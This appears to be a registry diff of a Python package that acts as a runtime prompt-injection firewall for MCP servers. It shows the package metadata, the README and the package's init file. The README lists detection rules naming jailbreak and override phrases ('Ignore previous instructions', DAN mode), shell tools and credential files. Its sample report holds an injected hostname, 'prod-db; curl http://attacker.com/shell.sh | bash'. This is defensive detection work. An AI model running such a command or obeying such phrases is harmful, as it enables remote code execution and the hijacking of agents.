prooflayer-runtime 0.1.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- prooflayer_runtime-0.1.0/LICENSE +4 -0
- prooflayer_runtime-0.1.0/PKG-INFO +266 -0
- prooflayer_runtime-0.1.0/README.md +217 -0
- prooflayer_runtime-0.1.0/prooflayer/__init__.py +50 -0
- prooflayer_runtime-0.1.0/prooflayer/cli.py +362 -0
- prooflayer_runtime-0.1.0/prooflayer/config/__init__.py +6 -0
- prooflayer_runtime-0.1.0/prooflayer/config/allowlist.py +138 -0
- prooflayer_runtime-0.1.0/prooflayer/config/loader.py +29 -0
- prooflayer_runtime-0.1.0/prooflayer/detection/__init__.py +21 -0
- prooflayer_runtime-0.1.0/prooflayer/detection/engine.py +783 -0
- prooflayer_runtime-0.1.0/prooflayer/detection/models.py +49 -0
- prooflayer_runtime-0.1.0/prooflayer/detection/normalizer.py +245 -0
- prooflayer_runtime-0.1.0/prooflayer/detection/rules.py +104 -0
- prooflayer_runtime-0.1.0/prooflayer/detection/scanner.py +160 -0
- prooflayer_runtime-0.1.0/prooflayer/detection/scorer.py +65 -0
- prooflayer_runtime-0.1.0/prooflayer/detection/semantic.py +73 -0
- prooflayer_runtime-0.1.0/prooflayer/metrics.py +266 -0
- prooflayer_runtime-0.1.0/prooflayer/reporting/__init__.py +5 -0
- prooflayer_runtime-0.1.0/prooflayer/reporting/reporter.py +190 -0
- prooflayer_runtime-0.1.0/prooflayer/response/__init__.py +6 -0
- prooflayer_runtime-0.1.0/prooflayer/response/actions.py +152 -0
- prooflayer_runtime-0.1.0/prooflayer/response/killer.py +73 -0
- prooflayer_runtime-0.1.0/prooflayer/rules/command-injection.yaml +123 -0
- prooflayer_runtime-0.1.0/prooflayer/rules/data-exfiltration.yaml +83 -0
- prooflayer_runtime-0.1.0/prooflayer/rules/jailbreaks.yaml +67 -0
- prooflayer_runtime-0.1.0/prooflayer/rules/prompt-injection.yaml +99 -0
- prooflayer_runtime-0.1.0/prooflayer/rules/role-manipulation.yaml +60 -0
- prooflayer_runtime-0.1.0/prooflayer/rules/sql-injection.yaml +51 -0
- prooflayer_runtime-0.1.0/prooflayer/rules/ssrf-xxe.yaml +51 -0
- prooflayer_runtime-0.1.0/prooflayer/rules/tool-poisoning.yaml +46 -0
- prooflayer_runtime-0.1.0/prooflayer/runtime/__init__.py +21 -0
- prooflayer_runtime-0.1.0/prooflayer/runtime/interceptor.py +91 -0
- prooflayer_runtime-0.1.0/prooflayer/runtime/mcp_wrapper.py +395 -0
- prooflayer_runtime-0.1.0/prooflayer/runtime/middleware.py +86 -0
- prooflayer_runtime-0.1.0/prooflayer/runtime/transport.py +306 -0
- prooflayer_runtime-0.1.0/prooflayer/runtime/wrapper.py +265 -0
- prooflayer_runtime-0.1.0/prooflayer/utils/__init__.py +21 -0
- prooflayer_runtime-0.1.0/prooflayer/utils/encoding.py +87 -0
- prooflayer_runtime-0.1.0/prooflayer/utils/entropy.py +51 -0
- prooflayer_runtime-0.1.0/prooflayer/utils/logging.py +86 -0
- prooflayer_runtime-0.1.0/prooflayer/utils/masking.py +72 -0
- prooflayer_runtime-0.1.0/prooflayer/version.py +6 -0
- prooflayer_runtime-0.1.0/prooflayer_runtime.egg-info/PKG-INFO +266 -0
- prooflayer_runtime-0.1.0/prooflayer_runtime.egg-info/SOURCES.txt +56 -0
- prooflayer_runtime-0.1.0/prooflayer_runtime.egg-info/dependency_links.txt +1 -0
- prooflayer_runtime-0.1.0/prooflayer_runtime.egg-info/entry_points.txt +2 -0
- prooflayer_runtime-0.1.0/prooflayer_runtime.egg-info/requires.txt +13 -0
- prooflayer_runtime-0.1.0/prooflayer_runtime.egg-info/top_level.txt +1 -0
- prooflayer_runtime-0.1.0/pyproject.toml +14 -0
- prooflayer_runtime-0.1.0/setup.cfg +4 -0
- prooflayer_runtime-0.1.0/setup.py +71 -0
- prooflayer_runtime-0.1.0/tests/test_adversarial.py +351 -0
- prooflayer_runtime-0.1.0/tests/test_detection_engine.py +250 -0
- prooflayer_runtime-0.1.0/tests/test_fixtures.py +100 -0
- prooflayer_runtime-0.1.0/tests/test_fuzzing.py +211 -0
- prooflayer_runtime-0.1.0/tests/test_integration.py +338 -0
- prooflayer_runtime-0.1.0/tests/test_runtime_wrapper.py +197 -0
- prooflayer_runtime-0.1.0/tests/test_transport.py +157 -0
|
@@ -0,0 +1,266 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: prooflayer-runtime
|
|
3
|
+
Version: 0.1.0
|
|
4
|
+
Summary: Runtime prompt injection firewall for MCP servers
|
|
5
|
+
Home-page: https://www.proof-layer.com
|
|
6
|
+
Author: Sinewave AI
|
|
7
|
+
Author-email: divya@sinewave.ai
|
|
8
|
+
License: Proprietary
|
|
9
|
+
Project-URL: GitHub, https://github.com/sinewaveai/prooflayer-runtime
|
|
10
|
+
Project-URL: Issues, https://github.com/sinewaveai/agent-security-scanner-mcp/issues
|
|
11
|
+
Keywords: mcp security runtime firewall prompt-injection suse kubernetes
|
|
12
|
+
Classifier: Development Status :: 3 - Alpha
|
|
13
|
+
Classifier: Intended Audience :: Developers
|
|
14
|
+
Classifier: License :: Other/Proprietary License
|
|
15
|
+
Classifier: Programming Language :: Python :: 3
|
|
16
|
+
Classifier: Programming Language :: Python :: 3.10
|
|
17
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
18
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
19
|
+
Classifier: Topic :: Security
|
|
20
|
+
Classifier: Topic :: Software Development :: Libraries :: Python Modules
|
|
21
|
+
Requires-Python: >=3.10
|
|
22
|
+
Description-Content-Type: text/markdown
|
|
23
|
+
License-File: LICENSE
|
|
24
|
+
Requires-Dist: pyyaml>=6.0.0
|
|
25
|
+
Requires-Dist: httpx>=0.27.0
|
|
26
|
+
Provides-Extra: mcp
|
|
27
|
+
Requires-Dist: mcp>=1.0.0; extra == "mcp"
|
|
28
|
+
Provides-Extra: dev
|
|
29
|
+
Requires-Dist: pytest>=7.0.0; extra == "dev"
|
|
30
|
+
Requires-Dist: pytest-cov>=4.0.0; extra == "dev"
|
|
31
|
+
Requires-Dist: pytest-timeout>=2.0.0; extra == "dev"
|
|
32
|
+
Requires-Dist: pytest-asyncio>=0.21.0; extra == "dev"
|
|
33
|
+
Requires-Dist: black>=23.0.0; extra == "dev"
|
|
34
|
+
Requires-Dist: mypy>=1.0.0; extra == "dev"
|
|
35
|
+
Dynamic: author
|
|
36
|
+
Dynamic: author-email
|
|
37
|
+
Dynamic: classifier
|
|
38
|
+
Dynamic: description
|
|
39
|
+
Dynamic: description-content-type
|
|
40
|
+
Dynamic: home-page
|
|
41
|
+
Dynamic: keywords
|
|
42
|
+
Dynamic: license
|
|
43
|
+
Dynamic: license-file
|
|
44
|
+
Dynamic: project-url
|
|
45
|
+
Dynamic: provides-extra
|
|
46
|
+
Dynamic: requires-dist
|
|
47
|
+
Dynamic: requires-python
|
|
48
|
+
Dynamic: summary
|
|
49
|
+
|
|
50
|
+
# ProofLayer Runtime Security
|
|
51
|
+
|
|
52
|
+
**Runtime prompt injection firewall for MCP servers**
|
|
53
|
+
|
|
54
|
+
Built for SUSE Multi-Linux Manager, NeuVector integration, and enterprise Kubernetes deployments.
|
|
55
|
+
|
|
56
|
+
## Overview
|
|
57
|
+
|
|
58
|
+
ProofLayer Runtime Security wraps MCP (Model Context Protocol) servers with real-time threat detection. When a prompt injection or command injection attack is detected, ProofLayer can:
|
|
59
|
+
|
|
60
|
+
- **ALLOW** — Log and allow (risk score 0-29)
|
|
61
|
+
- **WARN** — Log with warning (risk score 30-69)
|
|
62
|
+
- **BLOCK** — Block the tool call (risk score 70-89)
|
|
63
|
+
- **KILL** — Terminate the MCP server (risk score 90-100)
|
|
64
|
+
|
|
65
|
+
## Features
|
|
66
|
+
|
|
67
|
+
✅ **45 Detection Rules** across 4 YAML categories, plus inline heuristics
|
|
68
|
+
✅ **Low Latency** detection per tool call
|
|
69
|
+
✅ **JSON + SARIF Reports** for compliance
|
|
70
|
+
✅ **Minimal Dependencies** (PyYAML only)
|
|
71
|
+
✅ **MCP-Native** (not a proxy)
|
|
72
|
+
✅ **Server Kill** on critical threats
|
|
73
|
+
|
|
74
|
+
## Quick Start
|
|
75
|
+
|
|
76
|
+
### Installation
|
|
77
|
+
|
|
78
|
+
```bash
|
|
79
|
+
# From this directory
|
|
80
|
+
pip install -e .
|
|
81
|
+
|
|
82
|
+
# Or copy the prooflayer/ directory to your project
|
|
83
|
+
cp -r prooflayer/ /path/to/your/project/
|
|
84
|
+
```
|
|
85
|
+
|
|
86
|
+
### Basic Usage
|
|
87
|
+
|
|
88
|
+
```python
|
|
89
|
+
from prooflayer import ProofLayerRuntime
|
|
90
|
+
|
|
91
|
+
# Wrap your MCP server
|
|
92
|
+
runtime = ProofLayerRuntime(
|
|
93
|
+
action_on_threat="warn", # or "block", "kill"
|
|
94
|
+
report_dir="./security-reports"
|
|
95
|
+
)
|
|
96
|
+
|
|
97
|
+
protected_server = runtime.wrap(mcp_server)
|
|
98
|
+
protected_server.run()
|
|
99
|
+
```
|
|
100
|
+
|
|
101
|
+
### Example
|
|
102
|
+
|
|
103
|
+
```python
|
|
104
|
+
# examples/basic/simple_wrapped_server.py
|
|
105
|
+
python3 examples/basic/simple_wrapped_server.py
|
|
106
|
+
```
|
|
107
|
+
|
|
108
|
+
## Detection Rules
|
|
109
|
+
|
|
110
|
+
### Command Injection (15 rules)
|
|
111
|
+
- Shell metacharacters (`;`, `|`, `&&`, `||`)
|
|
112
|
+
- Dangerous commands (`curl`, `wget`, `bash`, `nc`)
|
|
113
|
+
- Command substitution (backticks, `$()`)
|
|
114
|
+
- Destructive commands (`rm -rf`)
|
|
115
|
+
|
|
116
|
+
### Prompt Injection (12 rules)
|
|
117
|
+
- "Ignore previous instructions"
|
|
118
|
+
- "Disregard system prompt"
|
|
119
|
+
- "New instructions"
|
|
120
|
+
- System override attempts
|
|
121
|
+
|
|
122
|
+
### Jailbreaks (8 rules)
|
|
123
|
+
- DAN (Do Anything Now) mode
|
|
124
|
+
- Developer mode activation
|
|
125
|
+
- Role manipulation ("act as")
|
|
126
|
+
- Alignment override
|
|
127
|
+
|
|
128
|
+
### Data Exfiltration (10 rules)
|
|
129
|
+
- File access (`/etc/passwd`, `.ssh/`, `.env`)
|
|
130
|
+
- Base64 encoding
|
|
131
|
+
- Network exfiltration
|
|
132
|
+
- Sensitive file patterns
|
|
133
|
+
|
|
134
|
+
*Additional inline heuristics cover role manipulation and tool poisoning patterns as fallbacks.*
|
|
135
|
+
|
|
136
|
+
## Configuration
|
|
137
|
+
|
|
138
|
+
Create `prooflayer.yaml`:
|
|
139
|
+
|
|
140
|
+
```yaml
|
|
141
|
+
detection:
|
|
142
|
+
enabled: true
|
|
143
|
+
rules_dir: ./prooflayer/rules
|
|
144
|
+
score_threshold:
|
|
145
|
+
allow: [0, 29]
|
|
146
|
+
warn: [30, 69]
|
|
147
|
+
block: [70, 100]
|
|
148
|
+
|
|
149
|
+
response:
|
|
150
|
+
on_threat: warn # allow, warn, block, kill
|
|
151
|
+
report_dir: ./security-reports
|
|
152
|
+
alert_webhook: null
|
|
153
|
+
|
|
154
|
+
performance:
|
|
155
|
+
max_latency_ms: 10
|
|
156
|
+
cache_rules: true
|
|
157
|
+
|
|
158
|
+
logging:
|
|
159
|
+
level: INFO
|
|
160
|
+
format: json
|
|
161
|
+
```
|
|
162
|
+
|
|
163
|
+
Then load it:
|
|
164
|
+
|
|
165
|
+
```python
|
|
166
|
+
runtime = ProofLayerRuntime(config_path="prooflayer.yaml")
|
|
167
|
+
```
|
|
168
|
+
|
|
169
|
+
## Attack Scenarios
|
|
170
|
+
|
|
171
|
+
Test the detection engine with attack scenarios:
|
|
172
|
+
|
|
173
|
+
```bash
|
|
174
|
+
# Command injection
|
|
175
|
+
python3 examples/attack-scenarios/01_command_injection.py
|
|
176
|
+
|
|
177
|
+
# Data exfiltration
|
|
178
|
+
python3 examples/attack-scenarios/02_data_exfiltration.py
|
|
179
|
+
|
|
180
|
+
# Jailbreak attempts
|
|
181
|
+
python3 examples/attack-scenarios/03_jailbreak.py
|
|
182
|
+
```
|
|
183
|
+
|
|
184
|
+
## Security Reports
|
|
185
|
+
|
|
186
|
+
Reports are written to `./security-reports/` in JSON format:
|
|
187
|
+
|
|
188
|
+
```json
|
|
189
|
+
{
|
|
190
|
+
"prooflayer_version": "0.1.0",
|
|
191
|
+
"timestamp": "2026-02-25T10:30:45.123Z",
|
|
192
|
+
"threat": {
|
|
193
|
+
"type": "command_injection",
|
|
194
|
+
"tool": "add_system",
|
|
195
|
+
"arguments": {
|
|
196
|
+
"hostname": "prod-db; curl http://attacker.com/shell.sh | bash"
|
|
197
|
+
},
|
|
198
|
+
"risk_score": 95,
|
|
199
|
+
"action": "SERVER_KILLED"
|
|
200
|
+
},
|
|
201
|
+
"detection": {
|
|
202
|
+
"rules_matched": [
|
|
203
|
+
"cmd-inject-semicolon",
|
|
204
|
+
"cmd-inject-curl",
|
|
205
|
+
"cmd-inject-pipe"
|
|
206
|
+
],
|
|
207
|
+
"confidence": "HIGH"
|
|
208
|
+
}
|
|
209
|
+
}
|
|
210
|
+
```
|
|
211
|
+
|
|
212
|
+
## SUSE Integration
|
|
213
|
+
|
|
214
|
+
See `examples/suse/` for integration with SUSE Multi-Linux Manager:
|
|
215
|
+
|
|
216
|
+
- `wrapped-simple-mcp.py` — ProofLayer-wrapped simple-mcp
|
|
217
|
+
- `systemd/prooflayer-mcp@.service` — systemd service file
|
|
218
|
+
- `config/prooflayer.yaml` — SUSE-specific configuration
|
|
219
|
+
|
|
220
|
+
## Architecture
|
|
221
|
+
|
|
222
|
+
```
|
|
223
|
+
┌─────────────────────────────────┐
|
|
224
|
+
│ LLM (Claude, GPT-4, etc.) │
|
|
225
|
+
└────────────┬────────────────────┘
|
|
226
|
+
│ MCP Protocol
|
|
227
|
+
▼
|
|
228
|
+
┌─────────────────────────────────┐
|
|
229
|
+
│ ProofLayer Runtime Interceptor │
|
|
230
|
+
│ ├─ Scan Parameters (45 rules) │
|
|
231
|
+
│ ├─ Score Risk (0-100) │
|
|
232
|
+
│ └─ ALLOW/WARN/BLOCK/KILL │
|
|
233
|
+
└────────────┬────────────────────┘
|
|
234
|
+
│ (if ALLOW)
|
|
235
|
+
▼
|
|
236
|
+
┌─────────────────────────────────┐
|
|
237
|
+
│ MCP Server (Multi-Linux Mgr) │
|
|
238
|
+
│ ├─ add_system() │
|
|
239
|
+
│ ├─ get_unscheduled_errata() │
|
|
240
|
+
│ └─ apply_patch() │
|
|
241
|
+
└─────────────────────────────────┘
|
|
242
|
+
```
|
|
243
|
+
|
|
244
|
+
## Performance
|
|
245
|
+
|
|
246
|
+
- **Detection latency**: Low latency per tool call (benchmarks pending)
|
|
247
|
+
- **Memory usage**: ~50MB
|
|
248
|
+
- **Throughput**: Benchmarks pending
|
|
249
|
+
|
|
250
|
+
## License
|
|
251
|
+
|
|
252
|
+
Proprietary License — see [LICENSE](LICENSE) file for details. Copyright © 2026 Sinewave AI
|
|
253
|
+
|
|
254
|
+
## Links
|
|
255
|
+
|
|
256
|
+
- **GitHub**: https://github.com/sinewaveai/prooflayer-runtime (coming soon)
|
|
257
|
+
- **Website**: https://www.proof-layer.com
|
|
258
|
+
- **Issues**: https://github.com/sinewaveai/agent-security-scanner-mcp/issues
|
|
259
|
+
|
|
260
|
+
## Contributing
|
|
261
|
+
|
|
262
|
+
See `docs/CONTRIBUTING.md` for guidelines.
|
|
263
|
+
|
|
264
|
+
---
|
|
265
|
+
|
|
266
|
+
**Built for SUSE · Powered by ProofLayer**
|
|
@@ -0,0 +1,217 @@
|
|
|
1
|
+
# ProofLayer Runtime Security
|
|
2
|
+
|
|
3
|
+
**Runtime prompt injection firewall for MCP servers**
|
|
4
|
+
|
|
5
|
+
Built for SUSE Multi-Linux Manager, NeuVector integration, and enterprise Kubernetes deployments.
|
|
6
|
+
|
|
7
|
+
## Overview
|
|
8
|
+
|
|
9
|
+
ProofLayer Runtime Security wraps MCP (Model Context Protocol) servers with real-time threat detection. When a prompt injection or command injection attack is detected, ProofLayer can:
|
|
10
|
+
|
|
11
|
+
- **ALLOW** — Log and allow (risk score 0-29)
|
|
12
|
+
- **WARN** — Log with warning (risk score 30-69)
|
|
13
|
+
- **BLOCK** — Block the tool call (risk score 70-89)
|
|
14
|
+
- **KILL** — Terminate the MCP server (risk score 90-100)
|
|
15
|
+
|
|
16
|
+
## Features
|
|
17
|
+
|
|
18
|
+
✅ **45 Detection Rules** across 4 YAML categories, plus inline heuristics
|
|
19
|
+
✅ **Low Latency** detection per tool call
|
|
20
|
+
✅ **JSON + SARIF Reports** for compliance
|
|
21
|
+
✅ **Minimal Dependencies** (PyYAML only)
|
|
22
|
+
✅ **MCP-Native** (not a proxy)
|
|
23
|
+
✅ **Server Kill** on critical threats
|
|
24
|
+
|
|
25
|
+
## Quick Start
|
|
26
|
+
|
|
27
|
+
### Installation
|
|
28
|
+
|
|
29
|
+
```bash
|
|
30
|
+
# From this directory
|
|
31
|
+
pip install -e .
|
|
32
|
+
|
|
33
|
+
# Or copy the prooflayer/ directory to your project
|
|
34
|
+
cp -r prooflayer/ /path/to/your/project/
|
|
35
|
+
```
|
|
36
|
+
|
|
37
|
+
### Basic Usage
|
|
38
|
+
|
|
39
|
+
```python
|
|
40
|
+
from prooflayer import ProofLayerRuntime
|
|
41
|
+
|
|
42
|
+
# Wrap your MCP server
|
|
43
|
+
runtime = ProofLayerRuntime(
|
|
44
|
+
action_on_threat="warn", # or "block", "kill"
|
|
45
|
+
report_dir="./security-reports"
|
|
46
|
+
)
|
|
47
|
+
|
|
48
|
+
protected_server = runtime.wrap(mcp_server)
|
|
49
|
+
protected_server.run()
|
|
50
|
+
```
|
|
51
|
+
|
|
52
|
+
### Example
|
|
53
|
+
|
|
54
|
+
```python
|
|
55
|
+
# examples/basic/simple_wrapped_server.py
|
|
56
|
+
python3 examples/basic/simple_wrapped_server.py
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
## Detection Rules
|
|
60
|
+
|
|
61
|
+
### Command Injection (15 rules)
|
|
62
|
+
- Shell metacharacters (`;`, `|`, `&&`, `||`)
|
|
63
|
+
- Dangerous commands (`curl`, `wget`, `bash`, `nc`)
|
|
64
|
+
- Command substitution (backticks, `$()`)
|
|
65
|
+
- Destructive commands (`rm -rf`)
|
|
66
|
+
|
|
67
|
+
### Prompt Injection (12 rules)
|
|
68
|
+
- "Ignore previous instructions"
|
|
69
|
+
- "Disregard system prompt"
|
|
70
|
+
- "New instructions"
|
|
71
|
+
- System override attempts
|
|
72
|
+
|
|
73
|
+
### Jailbreaks (8 rules)
|
|
74
|
+
- DAN (Do Anything Now) mode
|
|
75
|
+
- Developer mode activation
|
|
76
|
+
- Role manipulation ("act as")
|
|
77
|
+
- Alignment override
|
|
78
|
+
|
|
79
|
+
### Data Exfiltration (10 rules)
|
|
80
|
+
- File access (`/etc/passwd`, `.ssh/`, `.env`)
|
|
81
|
+
- Base64 encoding
|
|
82
|
+
- Network exfiltration
|
|
83
|
+
- Sensitive file patterns
|
|
84
|
+
|
|
85
|
+
*Additional inline heuristics cover role manipulation and tool poisoning patterns as fallbacks.*
|
|
86
|
+
|
|
87
|
+
## Configuration
|
|
88
|
+
|
|
89
|
+
Create `prooflayer.yaml`:
|
|
90
|
+
|
|
91
|
+
```yaml
|
|
92
|
+
detection:
|
|
93
|
+
enabled: true
|
|
94
|
+
rules_dir: ./prooflayer/rules
|
|
95
|
+
score_threshold:
|
|
96
|
+
allow: [0, 29]
|
|
97
|
+
warn: [30, 69]
|
|
98
|
+
block: [70, 100]
|
|
99
|
+
|
|
100
|
+
response:
|
|
101
|
+
on_threat: warn # allow, warn, block, kill
|
|
102
|
+
report_dir: ./security-reports
|
|
103
|
+
alert_webhook: null
|
|
104
|
+
|
|
105
|
+
performance:
|
|
106
|
+
max_latency_ms: 10
|
|
107
|
+
cache_rules: true
|
|
108
|
+
|
|
109
|
+
logging:
|
|
110
|
+
level: INFO
|
|
111
|
+
format: json
|
|
112
|
+
```
|
|
113
|
+
|
|
114
|
+
Then load it:
|
|
115
|
+
|
|
116
|
+
```python
|
|
117
|
+
runtime = ProofLayerRuntime(config_path="prooflayer.yaml")
|
|
118
|
+
```
|
|
119
|
+
|
|
120
|
+
## Attack Scenarios
|
|
121
|
+
|
|
122
|
+
Test the detection engine with attack scenarios:
|
|
123
|
+
|
|
124
|
+
```bash
|
|
125
|
+
# Command injection
|
|
126
|
+
python3 examples/attack-scenarios/01_command_injection.py
|
|
127
|
+
|
|
128
|
+
# Data exfiltration
|
|
129
|
+
python3 examples/attack-scenarios/02_data_exfiltration.py
|
|
130
|
+
|
|
131
|
+
# Jailbreak attempts
|
|
132
|
+
python3 examples/attack-scenarios/03_jailbreak.py
|
|
133
|
+
```
|
|
134
|
+
|
|
135
|
+
## Security Reports
|
|
136
|
+
|
|
137
|
+
Reports are written to `./security-reports/` in JSON format:
|
|
138
|
+
|
|
139
|
+
```json
|
|
140
|
+
{
|
|
141
|
+
"prooflayer_version": "0.1.0",
|
|
142
|
+
"timestamp": "2026-02-25T10:30:45.123Z",
|
|
143
|
+
"threat": {
|
|
144
|
+
"type": "command_injection",
|
|
145
|
+
"tool": "add_system",
|
|
146
|
+
"arguments": {
|
|
147
|
+
"hostname": "prod-db; curl http://attacker.com/shell.sh | bash"
|
|
148
|
+
},
|
|
149
|
+
"risk_score": 95,
|
|
150
|
+
"action": "SERVER_KILLED"
|
|
151
|
+
},
|
|
152
|
+
"detection": {
|
|
153
|
+
"rules_matched": [
|
|
154
|
+
"cmd-inject-semicolon",
|
|
155
|
+
"cmd-inject-curl",
|
|
156
|
+
"cmd-inject-pipe"
|
|
157
|
+
],
|
|
158
|
+
"confidence": "HIGH"
|
|
159
|
+
}
|
|
160
|
+
}
|
|
161
|
+
```
|
|
162
|
+
|
|
163
|
+
## SUSE Integration
|
|
164
|
+
|
|
165
|
+
See `examples/suse/` for integration with SUSE Multi-Linux Manager:
|
|
166
|
+
|
|
167
|
+
- `wrapped-simple-mcp.py` — ProofLayer-wrapped simple-mcp
|
|
168
|
+
- `systemd/prooflayer-mcp@.service` — systemd service file
|
|
169
|
+
- `config/prooflayer.yaml` — SUSE-specific configuration
|
|
170
|
+
|
|
171
|
+
## Architecture
|
|
172
|
+
|
|
173
|
+
```
|
|
174
|
+
┌─────────────────────────────────┐
|
|
175
|
+
│ LLM (Claude, GPT-4, etc.) │
|
|
176
|
+
└────────────┬────────────────────┘
|
|
177
|
+
│ MCP Protocol
|
|
178
|
+
▼
|
|
179
|
+
┌─────────────────────────────────┐
|
|
180
|
+
│ ProofLayer Runtime Interceptor │
|
|
181
|
+
│ ├─ Scan Parameters (45 rules) │
|
|
182
|
+
│ ├─ Score Risk (0-100) │
|
|
183
|
+
│ └─ ALLOW/WARN/BLOCK/KILL │
|
|
184
|
+
└────────────┬────────────────────┘
|
|
185
|
+
│ (if ALLOW)
|
|
186
|
+
▼
|
|
187
|
+
┌─────────────────────────────────┐
|
|
188
|
+
│ MCP Server (Multi-Linux Mgr) │
|
|
189
|
+
│ ├─ add_system() │
|
|
190
|
+
│ ├─ get_unscheduled_errata() │
|
|
191
|
+
│ └─ apply_patch() │
|
|
192
|
+
└─────────────────────────────────┘
|
|
193
|
+
```
|
|
194
|
+
|
|
195
|
+
## Performance
|
|
196
|
+
|
|
197
|
+
- **Detection latency**: Low latency per tool call (benchmarks pending)
|
|
198
|
+
- **Memory usage**: ~50MB
|
|
199
|
+
- **Throughput**: Benchmarks pending
|
|
200
|
+
|
|
201
|
+
## License
|
|
202
|
+
|
|
203
|
+
Proprietary License — see [LICENSE](LICENSE) file for details. Copyright © 2026 Sinewave AI
|
|
204
|
+
|
|
205
|
+
## Links
|
|
206
|
+
|
|
207
|
+
- **GitHub**: https://github.com/sinewaveai/prooflayer-runtime (coming soon)
|
|
208
|
+
- **Website**: https://www.proof-layer.com
|
|
209
|
+
- **Issues**: https://github.com/sinewaveai/agent-security-scanner-mcp/issues
|
|
210
|
+
|
|
211
|
+
## Contributing
|
|
212
|
+
|
|
213
|
+
See `docs/CONTRIBUTING.md` for guidelines.
|
|
214
|
+
|
|
215
|
+
---
|
|
216
|
+
|
|
217
|
+
**Built for SUSE · Powered by ProofLayer**
|
|
@@ -0,0 +1,50 @@
|
|
|
1
|
+
"""
|
|
2
|
+
ProofLayer Runtime Security
|
|
3
|
+
============================
|
|
4
|
+
|
|
5
|
+
Runtime prompt injection firewall for MCP servers.
|
|
6
|
+
Detects malicious prompts, kills compromised servers, generates security reports.
|
|
7
|
+
|
|
8
|
+
Built for SUSE Multi-Linux Manager and enterprise Kubernetes deployments.
|
|
9
|
+
"""
|
|
10
|
+
|
|
11
|
+
from .runtime.wrapper import ProofLayerRuntime
|
|
12
|
+
from .detection.engine import DetectionEngine
|
|
13
|
+
from .detection.models import ScanResult, DetectionRule
|
|
14
|
+
from .detection.scanner import PatternScanner
|
|
15
|
+
from .detection.scorer import RiskScorer
|
|
16
|
+
from .detection.semantic import SemanticAnalyzer
|
|
17
|
+
from .response.actions import ThreatAction, ResponseAction
|
|
18
|
+
from .response.killer import ServerKiller
|
|
19
|
+
from .runtime.interceptor import MCPInterceptor
|
|
20
|
+
from .runtime.middleware import ProofLayerMiddleware
|
|
21
|
+
|
|
22
|
+
__version__ = "0.1.0"
|
|
23
|
+
__author__ = "Sinewave AI"
|
|
24
|
+
__license__ = "MIT"
|
|
25
|
+
|
|
26
|
+
__all__ = [
|
|
27
|
+
"ProofLayerRuntime",
|
|
28
|
+
"DetectionEngine",
|
|
29
|
+
"DetectionRule",
|
|
30
|
+
"ScanResult",
|
|
31
|
+
"PatternScanner",
|
|
32
|
+
"RiskScorer",
|
|
33
|
+
"SemanticAnalyzer",
|
|
34
|
+
"ThreatAction",
|
|
35
|
+
"ResponseAction",
|
|
36
|
+
"ServerKiller",
|
|
37
|
+
"MCPInterceptor",
|
|
38
|
+
"ProofLayerMiddleware",
|
|
39
|
+
]
|
|
40
|
+
|
|
41
|
+
|
|
42
|
+
# Lazy imports for optional dependencies
|
|
43
|
+
def __getattr__(name):
|
|
44
|
+
if name == "ProofLayerMCPWrapper":
|
|
45
|
+
from .runtime.mcp_wrapper import ProofLayerMCPWrapper
|
|
46
|
+
return ProofLayerMCPWrapper
|
|
47
|
+
if name == "ProofLayerTransportProxy":
|
|
48
|
+
from .runtime.transport import ProofLayerTransportProxy
|
|
49
|
+
return ProofLayerTransportProxy
|
|
50
|
+
raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
|